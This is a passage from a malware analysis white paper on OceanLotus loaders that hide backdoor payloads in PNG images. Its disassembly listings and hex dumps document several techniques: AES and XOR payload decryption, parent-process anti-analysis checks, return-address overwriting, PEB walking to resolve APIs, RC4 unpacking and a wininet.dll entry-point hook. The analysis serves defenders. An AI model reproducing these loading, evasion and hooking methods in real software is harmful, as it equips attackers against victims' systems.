CPU features check and call to the AES decryption routine 14OceanLotus Steganography : Malware Analysis White Paper One of the AES implementations makes use of the Intel AES-NI encryption instruction set which is supported by several modern Intel and AMD CPUs: .text:1002AC90 aes_decrypt_loop:                        CODE XREF: AESNI_Dec_4_Blocks67j .text:1002AC90                                          AESNI_Dec_4_BlocksB0j .text:1002AC90                 dec     [esp8arg_4] .text:1002AC94                 lea     edi, [edi10h] .text:1002AC97                 movdqa  xmm1, xmmword ptr [edi-10h] .text:1002AC9C                 movdqa  xmm0, xmmword ptr [ecx] .text:1002ACA0                 aesdec  xmm0, xmm1 .text:1002ACA5                 movdqa  xmmword ptr [ecx], xmm0 .text:1002ACA9                 movdqa  xmm0, xmmword ptr [edx] .text:1002ACAD                 aesdec  xmm0, xmm1 .text:1002ACB2                 movdqa  xmmword ptr [edx], xmm0 .text:1002ACB6                 movdqa  xmm0, xmmword ptr [esi] .text:1002ACBA                 aesdec  xmm0, xmm1 .text:1002ACBF                 movdqa  xmmword ptr [esi], xmm0 .text:1002ACC3                 movdqa  xmm0, xmmword ptr [eax] .text:1002ACC7                 aesdec  xmm0, xmm1 .text:1002ACCC                 movdqa  xmmword ptr [eax], xmm0 .text:1002ACD0                 jnz     short aes_decrypt_loop .text:1002ACD2                 mov     edi, [esp8arg_14] Figure 18.
Use of Intel AES-NI instruction set The decrypted payload undergoes one final transformation, where it is XORed with the first byte read from the C:\Windows\system.
ini file, which is expected to begin with a comment character  (0x3B): .text:100023A0 dexor_loop:                              CODE XREF: decode_payloadCBj .text:100023A0                                          decode_payloadDBj .text:100023A0                 xor     [ecxesi], bl    first byte of system.ini file (0x3B) .text:100023A3                 lea     eax, [ecxesi] .text:100023A6                 inc     ecx .text:100023A7                 cmp     ecx, [esp224hdecrypted_size] .text:100023AB                 jb      short dexor_loop Figure 19.
Removing the final layer of payload obfuscation 15OceanLotus Steganography : Malware Analysis White Paper Performing the same steps in CyberChef, it is possible to decode the encrypted payload, which should yield x86 shellcode, starting with a call immediate opcode sequence: Figure 20.
Decrypting first block of payload using CyberChef 16OceanLotus Steganography : Malware Analysis White Paper Steganography Loader 2 SHA256 4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d Classification Malware/Backdoor Size 658 KB (674,304 bytes) Type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File Name Varies Observed September 2018 Overview While this loader differs somewhat in general implementation, the payload extraction routine seems to be the same as in the previous variant.
The main differences are: The way the decryption routine is called (from within the DllMain function, as opposed to an exported function) The way the payload is invoked (by overwriting the return address on the stack, as opposed to a direct call) Implementation of an additional anti-analysis check that compares the name of the parent process to a string stored in an encrypted resource We came across multiple variations of this DLL containing different parent process names, possibly targeted specifically to the victims environment.
Some of these names include processes related to security software: wsc_proxy.exe plugins-setup.exe SoftManager.exe GetEFA.exe Features Side-loaded DLL Anti-debugging/anti-sandboxing check for parent process name Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto library for payload decryption Executes the payload by overwriting the return address on the stack Known to load an updated version of Remy backdoor 17OceanLotus Steganography : Malware Analysis White Paper Loader Analysis This DLL does not contain an export table and its entire functionality resides in the DllMain routine: .text:10077D50  BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) .text:10077D50 _DllMain12     proc near                CODE XREF: ___DllMainCRTStartup6Dp .text:10077D50                                          ___DllMainCRTStartup85p .text:10077D50 .text:10077D50 hinstDLL         dword ptr  4 .text:10077D50 fdwReason        dword ptr  8 .text:10077D50 lpvReserved      dword ptr  0Ch .text:10077D50 .text:10077D50                 dec     [espfdwReason] .text:10077D54                 mov     eax, [esphinstDLL] .text:10077D58                 mov     hinstDll, eax .text:10077D5D                 jnz     short ret_1 .text:10077D5F                 push    eax              hModule .text:10077D60                 call    check_parent_name .text:10077D65                 add     esp, 4 .text:10077D68                 test    eax, eax .text:10077D6A                 jz      short ret_1 .text:10077D6C                 push    offset decode_inject_payload  int .text:10077D71                 call    overwrite_return_addr .text:10077D76                 add     esp, 4 .text:10077D79                 test    eax, eax .text:10077D7B                 jz      short ret_1 .text:10077D7D                 sub     esp, 18h .text:10077D80                 mov     ecx, esp         int .text:10077D82                 push    offset word_10091BCA  void .text:10077D87                 call    memmove_stuff .text:10077D8C                 call    write_pid_to_desktop_ini .text:10077D91                 add     esp, 18h .text:10077D94 .text:10077D94 ret_1:                                   CODE XREF: DllMain(x,x,x)Dj .text:10077D94                                          DllMain(x,x,x)1Aj ... .text:10077D94                 mov     eax, 1 .text:10077D99                 retn    0Ch .text:10077D99 _DllMain12     endp Figure 21.
Variant 2 DllMain function Upon execution, the malware will first decrypt a string from its resources and compare it against the name of the parent process.
If the names differ, the malware will simply exit without touching the payload.
The resource containing the expected process name (ICON/1) is XORed with the first byte of the legitimate C:\Windows\system.ini file  0x3B (): Figure 22.
Obfuscated file name in ICON/1 resource 18OceanLotus Steganography : Malware Analysis White Paper .text:10002140                 mov     edx, [esp18hxor_key]  first byte of system.ini (0x3B) .text:10002144 .text:10002144 decrypt_resource:                        CODE XREF: check_parent_name7Dj .text:10002144                 xor     [ecxebx], dl    ebx  resource .text:10002147                 lea     eax, [ecxebx] .text:1000214A                 inc     ecx .text:1000214B                 cmp     ecx, ebp .text:1000214D                 jb      short decrypt_resource .text:1000214F .text:1000214F loc_1000214F:                            CODE XREF: check_parent_name6Ej .text:1000214F                 push    104h             unsigned int .text:10002154                 mov     byte ptr [ebxebp], 0 .text:10002158                 call    ?
?_
UYAPAXIZ    operator new[](uint) .text:1000215D                 add     esp, 4 .text:10002160                 mov     esi, eax .text:10002162                 push    104h             nSize .text:10002167                 push    esi              lpFilename .text:10002168                 push    0                hModule .text:1000216A                 call    ds:GetModuleFileNameA .text:10002170                 test    eax, eax .text:10002172                 jz      short loc_1000218E .text:10002174                 push    esi              pszPath .text:10002175                 call    ds:PathFindFileNameA .text:1000217B                 push    eax              module file name .text:1000217C                 push    ebx              decrypted resource .text:1000217D                 call    ds:lstrcmpiA     check if the filename in the resource .text:1000217D                                          is the same as module filename .text:10002183                 xor     ecx, ecx .text:10002185                 test    eax, eax .text:10002187                 cmovnz  edi, ecx .text:1000218A                 mov     [esp18hretval], edi Figure 23.
Parent process name comparison 19OceanLotus Steganography : Malware Analysis White Paper If the parent name matches, the malware will traverse the stack in order to find a return address that falls into the memory of the parent processs text section: .text:10002492                 push    ecx              text section RVA .text:10002493                 push    eax              module handle .text:10002494                 call    find_text_section .text:10002499                 add     esp, 0Ch .text:1000249C                 mov     [ebpstack_frame], ebp .text:1000249F                 mov     eax, [ebpstack_frame] .text:100024A2                 test    eax, eax .text:100024A4                 jz      short ret_0 .text:100024A6                 mov     edx, [ebpdll_text_section_endptr]  base  text_rva  text_size .text:100024A9                 push    ebx .text:100024AA                 mov     ebx, [ebpdll_text_section_ptr]  base  text_rva .text:100024AD                 push    edi .text:100024AE                 mov     edi, [ebploader_textsection_endptr]  base  text_rva  text_size .text:100024B1 .text:100024B1 find_return_address:                     CODE XREF: overwrite_return_addrBCj .text:100024B1                 mov     ecx, [eax]       search the stack to find return address .text:100024B1                                          that is in the memory of the loader .text:100024B3                 test    ecx, ecx .text:100024B5                 jz      short ret_0_ .text:100024B7                 lea     esi, [eax4]     ebp4 .text:100024BA                 mov     eax, [esi]       return address .text:100024BC                 cmp     [ebploader_text_section_rva], eax .text:100024BF                 ja      short loc_100024C5 .text:100024C1                 cmp     eax, edi .text:100024C3                 jb      short call_decrypt_function  if the return address is within .text:100024C3                                          the memory of the loader .text:100024C5 .text:100024C5 loc_100024C5:                            CODE XREF: overwrite_return_addr9Fj .text:100024C5                 mov     eax, ecx         if return address is outside .text:100024C5                                          the memory of the loader .text:100024C7                 mov     [ebpstack_frame], eax  next stack frame .text:100024CA                 mov     ecx, [esi] .text:100024CC                 cmp     ebx, ecx .text:100024CE                 ja      short next .text:100024D0                 cmp     ecx, edx .text:100024D2                 jnb     short next .text:100024D4                 sub     eax, 0Ch .text:100024D7                 mov     [ebpstack_frame], eax .text:100024DA .text:100024DA next:                                    CODE XREF: overwrite_return_addrAEj .text:100024DA                                          overwrite_return_addrB2j .text:100024DA                 test    eax, eax         if return_address is outside the DLL text section .text:100024DC                 jnz     short find_return_address Figure 24.
Finding the return address on the stack 20OceanLotus Steganography : Malware Analysis White Paper Next, the payload is read from the .png cover file, which seems to have been taken from an inspirational quotes website3.
In this instance, the payload is fully contained within the images pixel color codes, leaving no remaining data beyond the IEND marker: Figure 25.
Image containing encoded payload Finally, the loader will decrypt the payload to a memory buffer and overwrite the previously found return address with the pointer to that buffer, ensuring that the malicious shellcode will be executed when the DLL attempts to return to the caller: .text:100024E7 call_decrypt_function:                   CODE XREF: overwrite_return_addrA3j .text:100024E7                 call    [ebpdecrypt_payload_function] .text:100024EA                 pop     edi .text:100024EB                 mov     [esi], eax       overwrite return address .text:100024EB                                          with injected payload ptr .text:100024ED                 mov     eax, 1 .text:100024F2                 pop     ebx .text:100024F3                 pop     esi .text:100024F4                 mov     esp, ebp .text:100024F6                 pop     ebp .text:100024F7                 retn .text:100024F7 overwrite_return_addr endp Figure 26.
Overwriting return address with pointer to the decrypted payload 3http://www.getfrank.co.nz/editorial/inspirational-quotes/turn-your-face-to-the-sun-and-the-shadows-fall-behind-you-charlotte-whitton 21OceanLotus Steganography : Malware Analysis White Paper http://www.getfrank.co.nz/editorial/inspirational-quotes/turn-your-face-to-the-sun-and-the-shadows-fall-behind-you-charlotte-whitton The loader embedded in the payload seems to be a variant of the Veil shellcode_inject payload, previously used by OceanLotus to load older versions of Remy backdoor.
In this instance, the shellcode is configured to load an encoded backdoor from within the payload: Figure 27.
Decoding process 22OceanLotus Steganography : Malware Analysis White Paper Backdoor Launcher The final payload comes in a form of a launcher DLL that contains an encrypted backdoor in its .rdata section and a plain-text configuration in its resources.
The resources also store one or more C2 communication modules.
The backdoor DLL and the C2 communication DLLs are heavily obfuscated using high quantities of junk code, which significantly inflates their size and makes both static analysis and debugging more difficult.
In addition to Denes and Remy backdoors, at least two different communication modules were observed with different versions of this launcher  DNSProvider and HTTPProv.
Initial Shellcode The launcher binary, which contains the final backdoor, is RC4 encrypted and wrapped in a layer of obfuscated shellcode.
We can see the familiar DOS stub in plain text, but the rest of the header and binary body are encrypted: 022A0000  E8 E2 7A 16 00 FE FE FE  FE DD 38 64 17 4C 32 BD  z..8d.
L2 022A0010  47 84 50 D4 10 7B D3 63  37 E3 D5 27 4B A2 65 BA  GP.c7Ke 022A0020  07 F7 3B 3C 9E 3A 5A 82  69 47 62 B8 1D 59 B2 B9  .
:ZiGb.
Y 022A0030  7D 55 61 C9 80 C9 EC 22  3B 8A 34 CC EE 76 82 3E  Ua4v 022A0040  48 5C F3 93 D2 6C 91 ED  21 A8 24 F7 C1 E7 62 4A  H\lbJ 022A0050  7A CF 51 46 E2 D1 51 A1  DB 33 31 7B CB 1F 4C D7  zQFQ31.L 022A0060  13 AB FF 31 11 31 8B F8  C6 B3 CC CF 4C 99 B6 FF  .1.1L 022A0070  66 08 BF 5A BD 98 67 CF  AD EF 78 0C 44 71 3C E6  f.Zg x.Dq 022A0080  D2 76 B9 A0 60 42 82 64  2F EC 40 26 FB 88 BF D9  v Bd/ 022A0090  37 1A C0 81 38 97 6F A5  4E F6 4D B2 21 66 DD B3  7..8oNMf 022A00A0  58 CF 19 DA 90 FF 79 35  CC 08 D4 03 61 E1 B3 8F  X..y5..a.
022A00B0  07 CA CB 01 55 61 63 AA  4B 08 85 71 E6 4B D0 6F  ..UacK.qKo 022A00C0  8E 27 C7 F7 58 1E 6E 81  B2 8A 4B 42 FD 2B F9 96  X.n.
KB 022A00D0  10 13 55 08 B5 82 05 C4  FE A4 0C FF DB 1A FF 1E  ..U..... 022A00E0  69 5D 3B 47 3B D6 DF 9C  D9 93 31 FF F8 78 D3 6A  i]G1xj 022A00F0  4D 65 10 CC B3 A5 68 BE  FC 76 CA 17 E2 96 C7 B1  Me.hv.
022A0100  49 93 99 3D 3F 31 63 14  57 DF 08 C2 CF 87 76 C9  I?1c.
W.v 022A0110  F1 E9 76 CE F2 C6 F5 F3  65 D4 C0 B4 99 26 4D DC  veM 022A0120  31 3D F8 18 F8 71 BB 0E  1F BA 0E 00 B4 09 CD 21  1.q..... 022A0130  B8 01 4C CD 21 54 68 69  73 20 70 72 6F 67 72 61  .LThis progra 022A0140  6D 20 63 61 6E 6E 6F 74  20 62 65 20 72 75 6E 20  m cannot be run 022A0150  69 6E 20 44 4F 53 20 6D  6F 64 65 2E 0D 0D 0A 24  in DOS mode....
Figure 28.
DOS stub in payload 23OceanLotus Steganography : Malware Analysis White Paper The shellcode is obfuscated using OceanLotuss standard approach of flattening the control flow and inserting junk opcodes (as described in the ESET white paper on OceanLotus4): debug053:024098B2                 pushf debug053:024098B3                 push    ebx debug053:024098B4                 push    edx debug053:024098B5                 xadd    edx, ebx debug053:024098B8                 push    ecx debug053:024098B9                 mov     dh, ch debug053:024098BB                 stc debug053:024098BC                 push    eax debug053:024098BD                 dec     eax debug053:024098BE                 bswap   edx debug053:024098C0                 bt      ecx, 2 debug053:024098C4                 cwd debug053:024098C6                 das debug053:024098C7                 not     al debug053:024098C9                 test    ax, 0E1h debug053:024098CD                 stc debug053:024098CE                 not     ecx debug053:024098D0                 shl     bh, 3 debug053:024098D3                 shl     ax, 1 debug053:024098D6                 add     ah, bh debug053:024098D8                 aad debug053:024098DA                 inc     dl debug053:024098DC                 aas debug053:024098DD                 not     ecx debug053:024098DF                 mov     eax, 7950h debug053:024098E4                 mov     ecx, 24DCh debug053:024098E9                 mul     ecx debug053:024098EB                 mov     edx, [esp80Chvar_804] debug053:024098EF                 nop debug053:024098F0                 bsf     cx, ax debug053:024098F4                 daa debug053:024098F5                 dec     ebx debug053:024098F6                 mov     ebx, [esp80Chvar_800] debug053:024098FA                 sar     cx, 4 debug053:024098FE                 mov     ecx, [esp80Chvar_808] debug053:02409902                 stc debug053:02409903                 neg     eax debug053:02409905                 mov     eax, [esp80Chvar_7FC] debug053:02409909                 push    eax debug053:0240990A                 popf Figure 29.
Garbage opcodes 4https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf 24OceanLotus Steganography : Malware Analysis White Paper https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf The shellcode starts in a fairly standard way  by walking the list of loaded modules in order to find the base of kernel32.dll library: debug053:02407B58                 mov     eax, large fs:_TEB.ProcessEnvironmentBlock debug053:02407B5E                 push    ebx debug053:02407B5F                 xor     ebx, ebx debug053:02407B61                 mov     edx, ebx debug053:02407B63                 mov     [ebp-50h], ebx debug053:02407B66                 mov     eax, [eax_PEB_LDR_DATA.InLoadOrderModuleList.
Flink] Figure 30.
Walk modules debug053:024088B1                 mov     ecx, [eax_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.
Blink] debug053:024088B4                 cmp     [ecx_LDR_DATA_TABLE_ENTRY.DllBase], ebx debug053:024088B7                 jz      loc_240A54D Figure 31.
Find module debug053:0240898D                 mov     dword ptr [ebp-40h], K debug053:02408994                 mov     dword ptr [ebp-10h], E debug053:0240899B                 mov     dword ptr [ebp-28h], e debug053:024089A2                 jmp     loc_2409C85 debug053:02409C85  --------------------------------------------------------------------------- debug053:02409C85 debug053:02409C85 loc_2409C85:                             CODE XREF: sub_2407AEFEB3j debug053:02409C85                 mov     dword ptr [ebp-38h], R debug053:02409C8C                 mov     dword ptr [ebp-34h], r debug053:02409C93                 mov     dword ptr [ebp-8], N debug053:02409C9A                 mov     dword ptr [ebp-14h], n debug053:02409CA1                 mov     dword ptr [ebp-1Ch], L debug053:02409CA8                 mov     dword ptr [ebp-24h], l debug053:02409CAF                 mov     dword ptr [ebp-44h], D debug053:02409CB6                 mov     dword ptr [ebp-20h], d Figure 32.
Check for kernel32.dll 25OceanLotus Steganography : Malware Analysis White Paper Once kernel32 base is found, the shellcode will calculate the addresses of LoadLibraryA and GetProcAddress functions, and use them to resolve other necessary APIs, which include VirtualAlloc, RtlMoveMemory, and RtlZeroMemory: debug053:0240947C found_kernel32:                          CODE XREF: sub_2407AEF87Dj debug053:0240947C                                          sub_2407AEF889j debug053:0240947C                 mov     ecx, [ecx_LDR_DATA_TABLE_ENTRY.DllBase] debug053:0240947F                 mov     [ebp-10h], ecx debug053:02409482                 mov     dword ptr [ebp-56Ch], daoL debug053:0240948C                 mov     dword ptr [ebp-568h], rbiL debug053:02409496                 mov     eax, [ecxIMAGE_DOS_HEADER.e_lfanew] debug053:02409499                 mov     dword ptr [ebp-564h], Ayra debug053:024094A3                 mov     [ebp-560h], ebx debug053:024094A9                 mov     dword ptr [ebp-57Ch], PteG debug053:024094B3                 mov     eax, [eaxecxIMAGE_NT_HEADERS32.OptionalHeader.
DataDirectory.
VirtualAddress] export table debug053:024094B7                 add     eax, ecx debug053:024094B9                 mov     dword ptr [ebp-578h], Acor debug053:024094C3                 mov     dword ptr [ebp-574h], erdd debug053:024094CD                 mov     dword ptr [ebp-570h], ss debug053:024094D7                 mov     esi, [eaxIMAGE_EXPORT_DIRECTORY.AddressOfNames] debug053:024094DA                 add     esi, ecx debug053:024094DC                 mov     [ebp-20h], esi debug053:024094DF                 mov     esi, [eaxIMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] debug053:024094E2                 add     esi, ecx debug053:024094E4                 mov     [ebp-8], esi debug053:024094E7                 mov     esi, [eaxIMAGE_EXPORT_DIRECTORY.AddressOfFunctions] debug053:024094EA                 mov     eax, [eaxIMAGE_EXPORT_DIRECTORY.NumberOfNames] Figure 33.
Resolve kernel32.dll imports debug053:02409942                 mov     dword ptr [ebp-58Ch], triV debug053:0240994C                 push    eax debug053:0240994D                 push    edx debug053:0240994E                 mov     dword ptr [ebp-588h], Alau debug053:02409958                 jmp     loc_2409055 debug053:02409055  --------------------------------------------------------------------------- debug053:02409055 debug053:02409055 loc_2409055:                             CODE XREF: sub_2407AEF1E69j debug053:02409055                 mov     dword ptr [ebp-584h], coll debug053:0240905F                 mov     [ebp-580h], ebx debug053:02409065                 call    edi              GetProcAddress Figure 34.
VirtualAlloc string constructed on the stack 0027F270  54 37 EC 88 93 C9 8A 55  CE 69 3C 00 52 74 6C 5A  T7Ui.
RtlZ 0027F280  65 72 6F 4D 65 6D 6F 72  79 00 00 00 52 74 6C 4D  eroMemory...RtlM 0027F290  6F 76 65 4D 65 6D 6F 72  79 00 00 00 56 69 72 74  oveMemory...Virt 0027F2A0  75 61 6C 41 6C 6C 6F 63  00 00 00 00 47 65 74 50  ualAlloc....GetP 0027F2B0  72 6F 63 41 64 64 72 65  73 73 00 00 4C 6F 61 64  rocAddress..Load 0027F2C0  4C 69 62 72 61 72 79 41  00 00 00 00 87 05 51 CF  LibraryA.....Q Figure 35.
Shellcode imports 26OceanLotus Steganography : Malware Analysis White Paper After resolving the APIs, the shellcode will decrypt the launcher binary and load it to the memory.
MZ header, PE header, as well as each section and their header, are decrypted separately using RC4 algorithm and a hardcoded key: debug053:02408C28 decrypt_pe_header:                       CODE XREF: sub_2407AEF10ACj debug053:02408C28                 movzx   eax, byte ptr [ebp-5AFh] debug053:02408C2F                 mov     [ebpeax-6B0h], cl debug053:02408C36                 mov     bl, [ebp-5AFh] debug053:02408C3C                 mov     dl, [ebp-5B0h] debug053:02408C42                 movzx   ecx, bl debug053:02408C45                 movzx   eax, dl debug053:02408C48                 mov     cl, [ebpecx-6B0h] debug053:02408C4F                 add     cl, [ebpeax-6B0h] debug053:02408C56                 movzx   eax, cl debug053:02408C59                 movzx   eax, byte ptr [ebpeax-6B0h] debug053:02408C61                 mov     al, [ebpeax-35Ch] debug053:02408C68                 xor     [ebpesi-7E8h], al debug053:02408C6F                 inc     esi debug053:02408C70                 cmp     esi, 0F8h debug053:02408C76                 jl      decrypt_PE_header_loop Figure 36.
Fragment of code for RC4 decryption of PE header Once all sections are loaded, the relocations get fixed and the MZ/PE headers are zeroed out in memory: debug053:02409E32 find_reloc:                              CODE XREF: sub_2407AEF236Cj debug053:02409E32                 movzx   eax, cx debug053:02409E35                 imul    eax, 28h debug053:02409E38                 cmp     dword ptr [eaxedx], ler.
debug053:02409E3F                 jnz     loc_2409E53 debug053:02409E45                 cmp     dword ptr [eaxedx4], co debug053:02409E4D                 jz      loc_2409EDA debug053:02409F18                 mov     eax, edx debug053:02409F1A                 mov     dword ptr [ebp-0Ch], 3000h debug053:02409F21                 and     eax, 0F000h debug053:02409F26                 cmp     [ebp-0Ch], ax debug053:02409F2A                 jnz     loc_2409797 debug053:02409F30                 mov     edi, [ebp-8] debug053:02409F33                 and     edx, 0FFFh debug053:02409F39                 add     edx, [ecx]       Fixup relocations Figure 37.
Find .reloc section in loaded module The shellcode then proceeds to execute the payload DLLs entry point: debug053:02409723 debug053:02409723 loc_2409723:                             CODE XREF: sub_2407AEF27DBj debug053:02409723                 mov     eax, [ediIMAGE_NT_HEADERS32.OptionalHeader.
AddressOfEntryPoint] debug053:02409726                 test    eax, eax debug053:02409728                 jz      null_ep debug053:0240972E                 push    ebx debug053:0240972F                 push    1 debug053:02409731                 push    esi debug053:02409732                 add     eax, esi debug053:02409734                 call    eax              Call payload DLL entry-point debug053:02409736                 test    eax, eax debug053:02409738                 jz      exit debug053:0240973E                 mov     [edi28h], ebx Figure 38.
Execute OEP of payload DLL 27OceanLotus Steganography : Malware Analysis White Paper Launcher DLL The Internal name of this DLL is a randomly looking CLSID and it only exports one function called DllEntry.
.rdata:00978B22 a79828cc5897943 db 79828CC5-8979-43C0-9299-8E155B397281.dll,0 .rdata:00978B4D aDllentry       db DllEntry,0          DATA XREF: .rdata:off_978B1Co Figure 39.
DLL name and export Upon execution, the launcher will attempt to hook legitimate wininet.dll library by overwriting its entry point in memory with the address of a malicious routine.
If successful, every time the system loads wininet.dll, the entry point of the subsequently dropped backdoor DLL will be executed before the original wininet entry point.
.text:009069FE try_again_loop:                          CODE XREF: hook_wininet9Dj .text:009069FE                 push    offset aWininet  wininet .text:00906A03                 call    ds:LoadLibraryW .text:00906A09                 mov     [ebpwininet_base], eax .text:00906A0C                 cmp     [ebpwininet_base], 0 .text:00906A10                 jnz     short loc_906A14 .text:00906A12                 jmp     short ret_1 .text:00906A14  --------------------------------------------------------------------------- .text:00906A14 .text:00906A14 loc_906A14:                              CODE XREF: hook_wininet20j .text:00906A14                 mov     ecx, [ebpwininet_base] .text:00906A17                 mov     wininet_base, ecx .text:00906A1D                 mov     edx, large fs:30h .text:00906A24                 mov     [ebppeb], edx .text:00906A27                 cmp     [ebppeb], 0 .text:00906A2B                 jnz     short loc_906A2F .text:00906A2D                 jmp     short ret_1 .text:00906A2F  --------------------------------------------------------------------------- .text:00906A2F .text:00906A2F loc_906A2F:                              CODE XREF: hook_wininet3Bj .text:00906A2F                 mov     eax, [ebppeb] .text:00906A32                 mov     ecx, [eaxPEB.Ldr] .text:00906A35                 mov     edx, [ecxPEB_LDR_DATA.InMemoryOrderModuleList.
Flink] .text:00906A38                 sub     edx, 8 .text:00906A3B                 mov     [ebpLDR_DATA_TABLE_ENTRY], edx .text:00906A3E                 jmp     short loc_906A4C .text:00906A40  --------------------------------------------------------------------------- .text:00906A40 .text:00906A40 find_wininet:                            CODE XREF: hook_wininet:check_nextj .text:00906A40                 mov     eax, [ebpLDR_DATA_TABLE_ENTRY] .text:00906A43                 mov     ecx, [eax8] .text:00906A46                 sub     ecx, 8 .text:00906A49                 mov     [ebpLDR_DATA_TABLE_ENTRY], ecx .text:00906A4C .text:00906A4C loc_906A4C:                              CODE XREF: hook_wininet4Ej .text:00906A4C                 mov     edx, [ebpLDR_DATA_TABLE_ENTRY] .text:00906A4F                 cmp     [edxLDR_DATA_TABLE_ENTRY.DllBase], 0 .text:00906A53                 jz      short try_load_wininet .text:00906A55                 mov     eax, [ebpLDR_DATA_TABLE_ENTRY] .text:00906A58                 mov     ecx, [eaxLDR_DATA_TABLE_ENTRY.DllBase] 28OceanLotus Steganography : Malware Analysis White Paper .text:00906A5B                 cmp     ecx, [ebpwininet_base] .text:00906A5E                 jnz     short check_next .text:00906A60                 mov     edx, [ebpLDR_DATA_TABLE_ENTRY] .text:00906A63                 mov     eax, [edxLDR_DATA_TABLE_ENTRY.EntryPoint] .text:00906A66                 mov     wininet_oep, eax .text:00906A6B                 mov     ecx, [ebpLDR_DATA_TABLE_ENTRY] .text:00906A6E                 mov     edx, [ebpcall_decrypted_dll_ep_ptr] .text:00906A71                 mov     [ecxLDR_DATA_TABLE_ENTRY.EntryPoint], edx .text:00906A71                                          replace wininet.dll EP with .text:00906A71                                          0x08B31C0 call_decrypted_dll_ep .text:00906A74                 jmp     short try_load_wininet .text:00906A76  --------------------------------------------------------------------------- .text:00906A76 .text:00906A76 check_next:                              CODE XREF: hook_wininet6Ej .text:00906A76                 jmp     short find_wininet Figure 40.
Routine that hooks wininet.dll .text:008B3108                 mov     eax, [espscheduled_key] .text:008B310C                 push    ebx .text:008B310D                 push    ebp .text:008B310E                 mov     ebp, [esp8payload] .text:008B3112                 push    esi .text:008B3113                 push    edi .text:008B3114                 mov     edi, [esp10hout_buffer] .text:008B3118                 mov     [esp10hsize], ecx .text:008B311C                 sub     ebp, edi .text:008B311E                 mov     ecx, 1 .text:008B3123 .text:008B3123 decrypt_loop:                            CODE XREF: rc4_crypt79j .text:008B3123                 add     [eax100h], cl .text:008B3129                 movzx   esi, byte ptr [eax100h] .text:008B3130                 movzx   edx, byte ptr [esieax] .text:008B3134                 add     [eax101h], dl .text:008B313A                 movzx   ecx, byte ptr [eax101h] .text:008B3141                 mov     bl, [ecxeax] .text:008B3144                 mov     dl, [esieax] .text:008B3147                 mov     [esieax], bl .text:008B314A                 mov     [ecxeax], dl .text:008B314D                 movzx   ecx, byte ptr [eax101h] .text:008B3154                 movzx   ecx, byte ptr [ecxeax] .text:008B3158                 movzx   edx, byte ptr [eax100h] .text:008B315F                 add     cl, [edxeax] .text:008B3162                 movzx   edx, cl .text:008B3165                 movzx   ecx, byte ptr [edxeax] .text:008B3169                 xor     cl, [ediebp] .text:008B316C                 mov     [edi], cl .text:008B316E                 mov     ecx, 1 .text:008B3173                 add     edi, ecx .text:008B3175                 sub     [esp10hsize], ecx .text:008B3179                 jnz     short decrypt_loop Figure 41.
Backdoor decryption routine 29OceanLotus Steganography : Malware Analysis White Paper There is no proper DLL injection routine  the payload is just decompressed to the memory as-is  so the malware needs to fix all the pointers in the decompressed code, which is done on a one-by-one basis using hardcoded values and offsets.
This part takes 90 of the whole launcher code and includes over 11,000 modifications: .text:008B34CC loc_8B34CC:                              CODE XREF: decrypt_decompress_fix_payload1D3j .text:008B34CC                 mov     ecx, [ebpfunction_pointers] .text:008B34CF                 push    ecx .text:008B34D0                 call    [ebpsub_904E10__call_comcritsect] .text:008B34D3                 add     esp, 4 .text:008B34D6                 push    3E455Bh          difference .text:008B34DB                 push    51D7FFh          destination offset .text:008B34E0                 call    [ebpsub_905F80__fix_pointer]  0x905F80 fix_pointer .text:008B34E3                 add     esp, 8 .text:008B34E6                 mov     edx, [ebpfunction_pointers] .text:008B34E9                 push    edx .text:008B34EA                 call    [ebpsub_904E10__call_comcritsect] .text:008B34ED                 add     esp, 4 .text:008B34F0                 push    31183h .text:008B34F5                 push    4E246Dh .text:008B34FA                 call    [ebpsub_905F80__fix_pointer] .text:008B34FD                 add     esp, 8 .text:008B3500                 mov     eax, [ebpfunction_pointers] .text:008B3503                 push    eax .text:008B3504                 call    [ebpsub_904E10__call_comcritsect] Figure 42.
A fragment of code used for fixing pointers The launcher then calls the backdoor DLLs entry point: .text:008E3966                 call    get_dll_ep_ptr .text:008E396B                 mov     [ebpdecompressed_dll_ep], eax .text:008E396E                 cmp     [ebpdecompressed_dll_ep], 0 .text:008E3972                 jz      short loc_8E3982 .text:008E3974                 push    0 .text:008E3976                 push    1 .text:008E3978                 mov     ecx, decompressed_dll_ptr .text:008E397E                 push    ecx .text:008E397F                 call    [ebpdecompressed_dll_ep]  0x1665777 DllEntryPoint Figure 43.
Call to the backdoor entry point 30OceanLotus Steganography : Malware Analysis White Paper The routine that reads configuration from resources and decompresses the C2 communication library is then called by temporarily replacing the pointer to CComCriticalSection function with the pointer to that routine.
Such an obfuscation method makes it difficult to spot it in the code: .text:008E3982                 mov     edx, [ebpfunction_pointers] .text:008E3985                 mov     eax, [edxptrs.
CComCriticalSection_ptr] .text:008E3988                 mov     [ebpCComCriticalSection_ptr_cp], eax .text:008E398B                 mov     ecx, [ebpfunction_pointers] .text:008E398E                 mov     edx, [ebpfunction_pointers] .text:008E3991                 mov     eax, [edxptrs.read_resources_ptr] .text:008E3994                 mov     [ecxptrs.
CComCriticalSection_ptr], eax  replace function pointer .text:008E3997                 mov     ecx, [ebpfunction_pointers] .text:008E399A                 push    ecx .text:008E399B .text:008E399B read_rsrc: .text:008E399B                 call    [ebpsub_904E10__call_comcritsect]  call_read_resources .text:008E399E                 add     esp, 4 .text:008E39A1                 mov     edx, [ebpfunction_pointers] .text:008E39A4                 mov     eax, [ebpCComCriticalSection_ptr_cp] .text:008E39A7                 mov     [edxptrs.
CComCriticalSection_ptr], eax  restore original pointer Figure 44.
Obfuscated call to resources decryption routine The launcher loads configuration from resources and uses an export from the backdoor DLL to initialize config values in memory.
